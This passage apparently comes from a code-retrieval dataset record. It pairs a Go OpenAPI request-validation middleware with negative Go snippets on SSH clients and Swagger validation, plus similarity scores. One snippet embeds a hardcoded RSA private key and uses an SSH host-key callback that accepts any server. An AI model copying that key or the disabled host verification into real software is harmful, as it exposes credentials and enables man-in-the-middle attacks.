Kv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\tglog.Infoln(\"Unable to parse test key :\", err)\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\t//\t\tTimeout: \t\t\t60 * time.Second,\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn session, nil\n}", "func NewStreamClient(ctx context.Context, prot api.Protocol, connection types.ClientConnection, host types.Host) Client {\n\tclient := &client{\n\t\tProtocol: prot,\n\t\tConnection: connection,\n\t\tHost: host,\n\t}\n\n\tif factory, ok := streamFactories[prot]; ok {\n\t\tclient.ClientStreamConnection = factory.CreateClientStream(ctx, connection, client, client)\n\t} else {\n\t\treturn nil\n\t}\n\n\tconnection.AddConnectionEventListener(client)\n\tconnection.FilterManager().AddReadFilter(client)\n\tconnection.SetNoDelay(true)\n\n\treturn client\n}", "func newSSH(ip net.IPAddr, port uint16, user string, pass string, key string) *inet.SSH {\n\tvar remoteConn = new(inet.SSH)\n\tremoteConn.Make(ip.String(), strconv.FormatUint(uint64(port), 10), user, pass, key)\n\tglog.Info(\"receiver host: \" + ip.String())\n\treturn remoteConn\n}", "func executeCmd(remote_host string) string {\n\treadConfig(\"config\")\n\t//\tconfig, err := sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t//\tif err != nil {\n\t//\t\tlog.Fatal(err)\n\t//\t}\n\tvar config *ssh.ClientConfig\n\n\tif Conf.Method == \"password\" {\n\t\tconfig = sshAuthPassword(Conf.SshUser, Conf.SshPassword)\n\t} else if Conf.Method == \"key\" {\n\t\tconfig = sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t\t//\t\tif err != nil {\n\t\t//\t\t\tlog.Fatal(err)\n\t\t//\t\t}\n\t} else {\n\t\tlog.Fatal(`Please set method \"password\" or \"key\" at configuration file`)\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", remote_host+\":\"+Conf.SshPort, config)\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to dial: \", err)\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to create session: \", err)\n\t}\n\tdefer session.Close()\n\n\tvar b bytes.Buffer\n\tsession.Stdout = &b\n\tif err := session.Run(Conf.Command); err != nil {\n\t\tlog.Fatal(\"Failed to run: \" + err.Error())\n\t}\n\tfmt.Println(\"\\x1b[31;1m\" + remote_host + \"\\x1b[0m\")\n\treturn b.String()\n}", "func (curi *ConnectionURI) dialSSH() (net.Conn, error) {\n\tq := curi.Query()\n\n\tknownHostsPath := q.Get(\"knownhosts\")\n\tif knownHostsPath == \"\" {\n\t\tknownHostsPath = defaultSSHKnownHostsPath\n\t}\n\thostKeyCallback, err := knownhosts.New(os.ExpandEnv(knownHostsPath))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read ssh known hosts: %w\", err)\n\t}\n\n\tsshKeyPath := q.Get(\"keyfile\")\n\tif sshKeyPath == \"\" {\n\t\tsshKeyPath = defaultSSHKeyPath\n\t}\n\tsshKey, err := ioutil.ReadFile(os.ExpandEnv(sshKeyPath))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read ssh key: %w\", err)\n\t}\n\n\tsigner, err := ssh.ParsePrivateKey(sshKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse ssh key: %w\", err)\n\t}\n\n\tusername := curi.User.Username()\n\tif username == \"\" {\n\t\tu, err := user.Current()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tusername = u.Name\n\t}\n\n\tcfg := ssh.ClientConfig{\n\t\tUser: username,\n\t\tHostKeyCallback: hostKeyCallback,\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t\tTimeout: 2 * time.Second,\n\t}\n\n\tport := curi.Port()\n\tif port == \"\" {\n\t\tport = defaultSSHPort\n\t}\n\n\tsshClient, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%s\", curi.Hostname(), port), &cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\taddress := q.Get(\"socket\")\n\tif address == \"\" {\n\t\taddress = defaultUnixSock\n\t}\n\n\tc, err := sshClient.Dial(\"unix\", address)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to connect to libvirt on the remote host: %w\", err)\n\t}\n\n\treturn c, nil\n}", "func (sshClient *SSHClient) Execute(cmdList []string) []string {\n\n\tsession, err := sshClient.connect()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer session.Close()\n\n\tlog.Println(\"Connected.\")\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // 0:disable echo\n\t\tssh.TTY_OP_ISPEED: 14400 * 1024, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400 * 1024, //output speed = 14.4kbaud\n\t}\n\tif err1 := session.RequestPty(\"linux\", 64, 200, modes); err1 != nil {\n\t\tlog.Fatalf(\"request pty error: %s\\n\", err1.Error())\n\t}\n\n\tlog.Println(\"PtyRequested.\")\n\n\tw, err := session.StdinPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tr, err := session.StdoutPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\te, err := session.StderrPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tin, out := sshClient.MuxShell(w, r, e)\n\tif err := session.Shell(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t//<-out\n\tsWelcome := <-out\n\tlog.Printf(\"Welcome:%s\\n\", sWelcome) //ignore the shell output\n\n\tvar ret []string\n\n\tfor _, cmd := range cmdList {\n\t\tlog.Printf(\"Exec %v\\n\", cmd)\n\n\t\tin <- cmd\n\n\t\tsOut := <-out\n\t\tlog.Printf(\"Result-%s\\n\", sOut)\n\t\tret = append(ret, sOut)\n\t}\n\n\tin <- sshClient.ExitCmd\n\t_ = <-out\n\tsession.Wait()\n\n\treturn ret\n}" ]
[ "0.6537969", "0.6124428", "0.60626256", "0.6001691", "0.5935122", "0.57958657", "0.5716622", "0.5658344", "0.56566685", "0.5653561", "0.56404054", "0.55300796", "0.55196583", "0.54872686", "0.5484186", "0.54152626", "0.541375", "0.5369938", "0.5349328", "0.53370166", "0.5323142", "0.5310528", "0.5300999", "0.5299345", "0.52456486", "0.52422494", "0.52109724", "0.5199985", "0.51867807", "0.5179392", "0.5179188", "0.51554793", "0.5152379", "0.5104753", "0.51006657", "0.5061397", "0.5059325", "0.50534254", "0.505231", "0.50495", "0.5037593", "0.5011034", "0.5006127", "0.49991694", "0.4990094", "0.49801058", "0.49759987", "0.4975606", "0.49545696", "0.49517384", "0.4945818", "0.49423215", "0.49387124", "0.49387088", "0.4933754", "0.49331132", "0.49272296", "0.4925309", "0.492308", "0.49198845", "0.49185076", "0.49138725", "0.49113533", "0.49071306", "0.48834664", "0.48787698", "0.48777393", "0.4869064", "0.4860698", "0.48523167", "0.48497567", "0.48440337", "0.48383123", "0.48382095", "0.48376828", "0.4833674", "0.48238334", "0.48230603", "0.48181534", "0.48101497", "0.48089898", "0.47925243", "0.47748026", "0.47732544", "0.47708565", "0.47672653", "0.47670397", "0.47653106", "0.47646767", "0.47579828", "0.47454816", "0.47452766", "0.47429228", "0.47365394", "0.47365394", "0.47314897", "0.4724581", "0.47227803", "0.47162917", "0.4715579" ]
0.8375781
0
ValidationMiddleware setup swagger document validation. Validation to check all requests against the OpenAPI schema. If paths don't exist in validation returns: "no matching operation was found"
func ValidationMiddleware() echo.MiddlewareFunc { // swagger spec is embedded in the generated code. swagger, err := GetSwagger() if err != nil { log.Fatalf("Error loading swagger spec\n: %s", err) } /** Clear out the servers array in the swagger spec, that skips validating that server names match. We don't know how this thing will be run. **/ swagger.Servers = nil return middleware.OapiRequestValidator(swagger) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (swagger *MgwSwagger) Validate() error {\n\tif (swagger.EndpointImplementationType != constants.MockedOASEndpointType) &&\n\t\t(swagger.EndpointType != constants.AwsLambda) {\n\t\tif (swagger.productionEndpoints == nil || len(swagger.productionEndpoints.Endpoints) == 0) &&\n\t\t\t(swagger.sandboxEndpoints == nil || len(swagger.sandboxEndpoints.Endpoints) == 0) {\n\n\t\t\tlogger.LoggerOasparser.Errorf(\"No Endpoints are provided for the API %s:%s\",\n\t\t\t\tswagger.title, swagger.version)\n\t\t\treturn errors.New(\"no endpoints are provided for the API\")\n\t\t}\n\t\terr := swagger.productionEndpoints.validateEndpointCluster(\"API level production\")\n\t\tif err != nil {\n\t\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the production endpoints of the API %s:%s - %v\",\n\t\t\t\tswagger.title, swagger.version, err)\n\t\t\treturn err\n\t\t}\n\t\terr = swagger.sandboxEndpoints.validateEndpointCluster(\"API level sandbox\")\n\t\tif err != nil {\n\t\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the sandbox endpoints of the API %s:%s - %v\",\n\t\t\t\tswagger.title, swagger.version, err)\n\t\t\treturn err\n\t\t}\n\n\t\tfor _, res := range swagger.resources {\n\t\t\terr := res.productionEndpoints.validateEndpointCluster(\"Resource level production\")\n\t\t\tif err != nil {\n\t\t\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the production endpoints of the API %s:%s - %v\",\n\t\t\t\t\tswagger.title, swagger.version, err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = res.sandboxEndpoints.validateEndpointCluster(\"Resource level sandbox\")\n\t\t\tif err != nil {\n\t\t\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the sandbox endpoints of the API %s:%s - %v\",\n\t\t\t\t\tswagger.title, swagger.version, err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\terr := swagger.validateBasePath()\n\tif err != nil {\n\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the API %s:%s - %v\", swagger.title, swagger.version, err)\n\t\treturn err\n\t}\n\treturn nil\n}", "func OapiRequestValidator(swagger *openapi3.T) fiber.Handler {\n\treturn OapiRequestValidatorWithOptions(swagger, nil)\n}", "func TestValidation(t *testing.T) {\n\ttests := []struct {\n\t\tname string\n\t\tinput string\n\t\texpectedError error\n\t}{\n\t\t{\n\t\t\t\"when no OpenAPI property is supplied\",\n\t\t\t`\ninfo:\n title: \"Hello World REST APIs\"\n version: \"1.0\"\npaths:\n \"/api/v2/greetings.json\":\n get:\n operationId: listGreetings\n responses:\n 200:\n description: \"List different greetings\"\n \"/api/v2/greetings/{id}.json\":\n parameters:\n - name: id\n in: path\n required: true\n schema:\n type: string\n example: \"greeting\"\n get:\n operationId: showGreeting\n responses:\n 200:\n description: \"Get a single greeting object\"\n`,\n\t\t\terrors.New(\"value of openapi must be a non-empty JSON string\"),\n\t\t},\n\t\t{\n\t\t\t\"when an empty OpenAPI property is supplied\",\n\t\t\t`\nopenapi: ''\ninfo:\n title: \"Hello World REST APIs\"\n version: \"1.0\"\npaths:\n \"/api/v2/greetings.json\":\n get:\n operationId: listGreetings\n responses:\n 200:\n description: \"List different greetings\"\n \"/api/v2/greetings/{id}.json\":\n parameters:\n - name: id\n in: path\n required: true\n schema:\n type: string\n example: \"greeting\"\n get:\n operationId: showGreeting\n responses:\n 200:\n description: \"Get a single greeting object\"\n`,\n\t\t\terrors.New(\"value of openapi must be a non-empty JSON string\"),\n\t\t},\n\t\t{\n\t\t\t\"when the Info property is not supplied\",\n\t\t\t`\nopenapi: '1.0'\npaths:\n \"/api/v2/greetings.json\":\n get:\n operationId: listGreetings\n responses:\n 200:\n description: \"List different greetings\"\n \"/api/v2/greetings/{id}.json\":\n parameters:\n - name: id\n in: path\n required: true\n schema:\n type: string\n example: \"greeting\"\n get:\n operationId: showGreeting\n responses:\n 200:\n description: \"Get a single greeting object\"\n`,\n\t\t\terrors.New(\"invalid info: must be a JSON object\"),\n\t\t},\n\t\t{\n\t\t\t\"when the Paths property is not supplied\",\n\t\t\t`\nopenapi: '1.0'\ninfo:\n title: \"Hello World REST APIs\"\n version: \"1.0\"\n`,\n\t\t\terrors.New(\"invalid paths: must be a JSON object\"),\n\t\t},\n\t\t{\n\t\t\t\"when a valid spec is supplied\",\n\t\t\t`\nopenapi: 3.0.2\ninfo:\n title: \"Hello World REST APIs\"\n version: \"1.0\"\npaths:\n \"/api/v2/greetings.json\":\n get:\n operationId: listGreetings\n responses:\n 200:\n description: \"List different greetings\"\n \"/api/v2/greetings/{id}.json\":\n parameters:\n - name: id\n in: path\n required: true\n schema:\n type: string\n example: \"greeting\"\n get:\n operationId: showGreeting\n responses:\n 200:\n description: \"Get a single greeting object\"\ncomponents:\n schemas:\n GreetingObject:\n properties:\n id:\n type: string\n type:\n type: string\n default: \"greeting\"\n attributes:\n properties:\n description:\n type: string\n`,\n\t\t\tnil,\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tt.Run(test.name, func(t *testing.T) {\n\t\t\tdoc := &openapi3.Swagger{}\n\t\t\terr := yaml.Unmarshal([]byte(test.input), &doc)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tc := context.Background()\n\t\t\tvalidationErr := doc.Validate(c)\n\n\t\t\trequire.Equal(t, test.expectedError, validationErr, \"expected errors (or lack of) to match\")\n\t\t})\n\t}\n}", "func OapiRequestValidatorWithOptions(swagger *openapi3.T, options *Options) fiber.Handler {\n\n\trouter, err := gorillamux.NewRouter(swagger)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn func(c *fiber.Ctx) error {\n\n\t\terr := ValidateRequestFromContext(c, router, options)\n\t\tif err != nil {\n\t\t\tif options != nil && options.ErrorHandler != nil {\n\t\t\t\toptions.ErrorHandler(c, err.Error(), http.StatusBadRequest)\n\t\t\t\t// in case the handler didn't internally call Abort, stop the chain\n\t\t\t\treturn nil\n\t\t\t} else {\n\t\t\t\t// note: I am not sure if this is the best way to handle this\n\t\t\t\treturn fiber.NewError(http.StatusBadRequest, err.Error())\n\t\t\t}\n\t\t}\n\t\treturn c.Next()\n\t}\n}", "func TestOpenAPIValidator_ValidateRequest(t *testing.T) {\n\thelper := test.New(t)\n\n\torigin := httptest.NewServer(http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\tct := req.Header.Get(\"Content-Type\")\n\t\tif ct != \"\" {\n\t\t\tn, err := io.Copy(io.Discard, req.Body)\n\t\t\thelper.Must(err)\n\t\t\tif n == 0 {\n\t\t\t\tt.Error(\"Expected body content\")\n\t\t\t}\n\t\t}\n\t\tif req.Header.Get(\"Content-Type\") == \"application/json\" {\n\t\t\trw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\t_, err := rw.Write([]byte(`{\"id\": 123, \"name\": \"hans\"}`))\n\t\t\thelper.Must(err)\n\t\t}\n\t}))\n\n\tlog, hook := test.NewLogger()\n\tlogger := log.WithContext(context.Background())\n\tbeConf := &config.Backend{\n\t\tRemain: body.New(&hcl.BodyContent{Attributes: hcl.Attributes{\n\t\t\t\"origin\": &hcl.Attribute{\n\t\t\t\tName: \"origin\",\n\t\t\t\tExpr: hcltest.MockExprLiteral(cty.StringVal(origin.URL)),\n\t\t\t},\n\t\t}}),\n\t\tOpenAPI: &config.OpenAPI{\n\t\t\tFile: filepath.Join(\"testdata/backend_01_openapi.yaml\"),\n\t\t},\n\t}\n\topenAPI, err := validation.NewOpenAPIOptions(beConf.OpenAPI)\n\thelper.Must(err)\n\n\tbackend := transport.NewBackend(beConf.Remain, &transport.Config{}, &transport.BackendOptions{\n\t\tOpenAPI: openAPI,\n\t}, logger)\n\n\ttests := []struct {\n\t\tname, path string\n\t\tbody io.Reader\n\t\twantBody bool\n\t\twantErrLog string\n\t}{\n\t\t{\"GET without required query\", \"/a?b\", nil, false, \"backend validation error: Parameter 'b' in query has an error: must have a value: must have a value\"},\n\t\t{\"GET with required query\", \"/a?b=value\", nil, false, \"\"},\n\t\t{\"GET with required path\", \"/a/value\", nil, false, \"\"},\n\t\t{\"GET with required path missing\", \"/a//\", nil, false, \"backend validation error: Parameter 'b' in query has an error: must have a value: must have a value\"},\n\t\t{\"GET with optional query\", \"/b\", nil, false, \"\"},\n\t\t{\"GET with optional path param\", \"/b/a\", nil, false, \"\"},\n\t\t{\"GET with required json body\", \"/json\", strings.NewReader(`[\"hans\", \"wurst\"]`), true, \"\"},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(subT *testing.T) {\n\t\t\treq := httptest.NewRequest(http.MethodGet, tt.path, tt.body)\n\n\t\t\tif tt.body != nil {\n\t\t\t\treq.Header.Set(\"Content-Type\", \"application/json\")\n\t\t\t}\n\n\t\t\thook.Reset()\n\t\t\tvar res *http.Response\n\t\t\tres, err = backend.RoundTrip(req)\n\t\t\tif err != nil && tt.wantErrLog == \"\" {\n\t\t\t\tsubT.Fatal(err)\n\t\t\t}\n\n\t\t\tif tt.wantErrLog != \"\" {\n\t\t\t\tentry := hook.LastEntry()\n\t\t\t\tif entry.Message != tt.wantErrLog {\n\t\t\t\t\tsubT.Errorf(\"Expected error log:\\nwant:\\t%q\\ngot:\\t%s\", tt.wantErrLog, entry.Message)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif tt.wantBody {\n\t\t\t\tvar n int64\n\t\t\t\tn, err = io.Copy(io.Discard, res.Body)\n\t\t\t\tif err != nil {\n\t\t\t\t\tsubT.Error(err)\n\t\t\t\t}\n\t\t\t\tif n == 0 {\n\t\t\t\t\tsubT.Error(\"Expected a response body\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif subT.Failed() {\n\t\t\t\tfor _, entry := range hook.AllEntries() {\n\t\t\t\t\tsubT.Log(entry.String())\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}", "func NewValidationMiddleware(validatorHook string) buffalo.MiddlewareFunc {\n\tconst op errors.Op = \"actions.NewValidationMiddleware\"\n\n\treturn func(next buffalo.Handler) buffalo.Handler {\n\t\treturn func(c buffalo.Context) error {\n\t\t\tmod, err := paths.GetModule(c)\n\n\t\t\tif err != nil {\n\t\t\t\t// if there is no module the path we are hitting is not one related to modules, like /\n\t\t\t\treturn next(c)\n\t\t\t}\n\n\t\t\t// not checking the error. Not all requests include a version\n\t\t\t// i.e. list requests path is like /{module:.+}/@v/list with no version parameter\n\t\t\tversion, _ := paths.GetVersion(c)\n\n\t\t\tif version != \"\" {\n\t\t\t\tvalid, err := validate(validatorHook, mod, version)\n\t\t\t\tif err != nil {\n\t\t\t\t\tentry := log.EntryFromContext(c)\n\t\t\t\t\tentry.SystemErr(err)\n\t\t\t\t\treturn c.Render(http.StatusInternalServerError, nil)\n\t\t\t\t}\n\n\t\t\t\tif !valid {\n\t\t\t\t\treturn c.Render(http.StatusForbidden, nil)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn next(c)\n\t\t}\n\t}\n}", "func SchemaValidate(ctx context.Context, s fwschema.Schema, req ValidateSchemaRequest, resp *ValidateSchemaResponse) {\n\tfor name, attribute := range s.GetAttributes() {\n\n\t\tattributeReq := ValidateAttributeRequest{\n\t\t\tAttributePath: path.Root(name),\n\t\t\tAttributePathExpression: path.MatchRoot(name),\n\t\t\tConfig: req.Config,\n\t\t}\n\t\t// Instantiate a new response for each request to prevent validators\n\t\t// from modifying or removing diagnostics.\n\t\tattributeResp := &ValidateAttributeResponse{}\n\n\t\tAttributeValidate(ctx, attribute, attributeReq, attributeResp)\n\n\t\tresp.Diagnostics.Append(attributeResp.Diagnostics...)\n\t}\n\n\tfor name, block := range s.GetBlocks() {\n\t\tattributeReq := ValidateAttributeRequest{\n\t\t\tAttributePath: path.Root(name),\n\t\t\tAttributePathExpression: path.MatchRoot(name),\n\t\t\tConfig: req.Config,\n\t\t}\n\t\t// Instantiate a new response for each request to prevent validators\n\t\t// from modifying or removing diagnostics.\n\t\tattributeResp := &ValidateAttributeResponse{}\n\n\t\tBlockValidate(ctx, block, attributeReq, attributeResp)\n\n\t\tresp.Diagnostics.Append(attributeResp.Diagnostics...)\n\t}\n\n\tif s.GetDeprecationMessage() != \"\" {\n\t\tresp.Diagnostics.AddWarning(\n\t\t\t\"Deprecated\",\n\t\t\ts.GetDeprecationMessage(),\n\t\t)\n\t}\n}", "func (m middleware) Validate(_ gqlgen.ExecutableSchema) error {\n\treturn nil\n}", "func ValidateMiddleware(next http.Handler) http.Handler {\n\tfn := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tvar token *jwt.Token\n\t\ttoken, err := request.ParseFromRequestWithClaims(r, request.OAuth2Extractor, &authentication.Claim{}, func(token *jwt.Token) (interface{}, error) {\n\t\t\treturn authentication.PublicKey, nil\n\t\t})\n\n\t\tif err != nil {\n\t\t\tresponse.HTTPError(w, r, http.StatusUnauthorized, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tif !token.Valid {\n\t\t\tresponse.HTTPError(w, r, http.StatusUnauthorized, \"Invalid Token\")\n\t\t\treturn\n\t\t}\n\t\tid := token.Claims.(*authentication.Claim).ID\n\t\tctx := context.WithValue(r.Context(), primitive.ObjectID{}, id)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\n\t})\n\treturn fn\n\n}", "func (r HTTP) validate() error {\n\tif r.IsEmpty() {\n\t\treturn nil\n\t}\n\t// we consider the fact that primary routing rule is mandatory before you write any additional routing rules.\n\tif err := r.Main.validate(); err != nil {\n\t\treturn err\n\t}\n\tif r.Main.TargetContainer != nil && r.TargetContainerCamelCase != nil {\n\t\treturn &errFieldMutualExclusive{\n\t\t\tfirstField: \"target_container\",\n\t\t\tsecondField: \"targetContainer\",\n\t\t}\n\t}\n\n\tfor idx, rule := range r.AdditionalRoutingRules {\n\t\tif err := rule.validate(); err != nil {\n\t\t\treturn fmt.Errorf(`validate \"additional_rules[%d]\": %w`, idx, err)\n\t\t}\n\t}\n\treturn nil\n}", "func Validator() endpoint.Middleware {\n\treturn func(f endpoint.Endpoint) endpoint.Endpoint {\n\t\treturn func(ctx context.Context, request interface{}) (response interface{}, err error) {\n\t\t\terr = validator.DefaultValidator()(request)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, &fazzkithttp.TransportError{\n\t\t\t\t\tErr: err,\n\t\t\t\t\tCode: http.StatusUnprocessableEntity,\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn f(ctx, request)\n\t\t}\n\t}\n}", "func (a API) Validate() error {\n\tvar err error\n\n\tif a.port < 1 || a.port > 65535 {\n\t\terr = multierr.Append(err,\n\t\t\terrors.New(\"port must be more than 1 and less than 65535\"),\n\t\t)\n\t}\n\n\tif !strings.HasPrefix(a.rootPath, \"/\") {\n\t\terr = multierr.Append(err,\n\t\t\terrors.New(\"root path must start with /\"),\n\t\t)\n\t}\n\n\tif !strings.HasSuffix(a.rootPath, \"/\") {\n\t\terr = multierr.Append(err,\n\t\t\terrors.New(\"root path must end with /\"),\n\t\t)\n\t}\n\n\tif len(strings.TrimSpace(a.traceHeader)) == 0 {\n\t\terr = multierr.Append(err,\n\t\t\terrors.New(\"trace header must not be empty\"),\n\t\t)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\troutesMap := make(map[string]MultipartFormDataRoute, len(a.multipartFormDataRoutes))\n\n\tfor _, route := range a.multipartFormDataRoutes {\n\t\tif route.Path == \"\" {\n\t\t\treturn errors.New(\"route with empty path cannot be registered\")\n\t\t}\n\n\t\tif !strings.HasPrefix(route.Path, \"/\") {\n\t\t\treturn fmt.Errorf(\"route %s does not start with /\", route.Path)\n\t\t}\n\n\t\tif route.Handler == nil {\n\t\t\treturn fmt.Errorf(\"route %s has a nil handler\", route.Path)\n\t\t}\n\n\t\tif _, ok := routesMap[route.Path]; ok {\n\t\t\treturn fmt.Errorf(\"route %s is already registered\", route.Path)\n\t\t}\n\n\t\troutesMap[route.Path] = route\n\t}\n\n\tfor _, middleware := range a.externalMiddlewares {\n\t\tif middleware.Handler == nil {\n\t\t\treturn errors.New(\"a middleware has a nil handler\")\n\t\t}\n\t}\n\n\treturn nil\n}", "func (c *SeaterController) Validate(sche string, document ...string) {\n\tvar doc string\n\tif len(document) > 0 {\n\t\tdoc = document[0]\n\t} else {\n\t\tdoc = string(c.Ctx.Input.RequestBody)\n\t\tif len(doc) == 0 {\n\t\t\tc.BadRequestf(\"request body is empty\")\n\t\t}\n\t}\n\t_, err := simplejson.NewJson([]byte(doc))\n\tif err != nil {\n\t\tc.BadRequestf(\"invalid json format\")\n\t}\n\tresult, err := schema.Validate(sche, doc)\n\tif err != nil {\n\t\tc.TraceServerError(errors.Annotatef(err, \"invalid schema\"))\n\t}\n\tif !result.Valid() {\n\t\ts := \"invalid parameters:\\n\"\n\t\tvar e interface{}\n\t\tfor _, err := range result.Errors() {\n\t\t\ts += fmt.Sprintf(\"%s\\n\", err)\n\t\t\te = err\n\t\t}\n\t\tc.BadRequestf(\"%s\", e)\n\t}\n}", "func verifySwagger(resp http.ResponseWriter, request *http.Request) {\n\tcors := handleCors(resp, request)\n\tif cors {\n\t\treturn\n\t}\n\n\tuser, err := handleApiAuthentication(resp, request)\n\tif err != nil {\n\t\tlog.Printf(\"Api authentication failed in verify swagger: %s\", err)\n\t\tresp.WriteHeader(401)\n\t\tresp.Write([]byte(`{\"success\": false}`))\n\t\treturn\n\t}\n\n\tbody, err := ioutil.ReadAll(request.Body)\n\tif err != nil {\n\t\tresp.WriteHeader(401)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed reading body\"}`))\n\t\treturn\n\t}\n\n\ttype Test struct {\n\t\tEditing bool `datastore:\"editing\"`\n\t\tId string `datastore:\"id\"`\n\t\tImage string `datastore:\"image\"`\n\t}\n\n\tvar test Test\n\terr = json.Unmarshal(body, &test)\n\tif err != nil {\n\t\tlog.Printf(\"Failed unmarshalling test: %s\", err)\n\t\tresp.WriteHeader(401)\n\t\tresp.Write([]byte(`{\"success\": false}`))\n\t\treturn\n\t}\n\n\t// Get an identifier\n\thasher := md5.New()\n\thasher.Write(body)\n\tnewmd5 := hex.EncodeToString(hasher.Sum(nil))\n\tif test.Editing {\n\t\t// Quick verification test\n\t\tctx := context.Background()\n\t\tapp, err := getApp(ctx, test.Id)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error getting app when editing: %s\", app.Name)\n\t\t\tresp.WriteHeader(401)\n\t\t\tresp.Write([]byte(`{\"success\": false}`))\n\t\t\treturn\n\t\t}\n\n\t\t// FIXME: Check whether it's in use.\n\t\tif user.Id != app.Owner && user.Role != \"admin\" {\n\t\t\tlog.Printf(\"Wrong user (%s) for app %s when verifying swagger\", user.Username, app.Name)\n\t\t\tresp.WriteHeader(401)\n\t\t\tresp.Write([]byte(`{\"success\": false}`))\n\t\t\treturn\n\t\t}\n\n\t\tlog.Printf(\"EDITING APP WITH ID %s\", app.ID)\n\t\tnewmd5 = app.ID\n\t}\n\n\t// Generate new app integration (bump version)\n\t// Test = client side with fetch?\n\n\tctx := context.Background()\n\t//client, err := storage.NewClient(ctx)\n\t//if err != nil {\n\t//\tlog.Printf(\"Failed to create client (storage): %v\", err)\n\t//\tresp.WriteHeader(401)\n\t//\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed creating client\"}`))\n\t//\treturn\n\t//}\n\n\tswagger, err := openapi3.NewSwaggerLoader().LoadSwaggerFromData(body)\n\tif err != nil {\n\t\tlog.Printf(\"Swagger validation error: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed verifying openapi\"}`))\n\t\treturn\n\t}\n\n\tif strings.Contains(swagger.Info.Title, \" \") 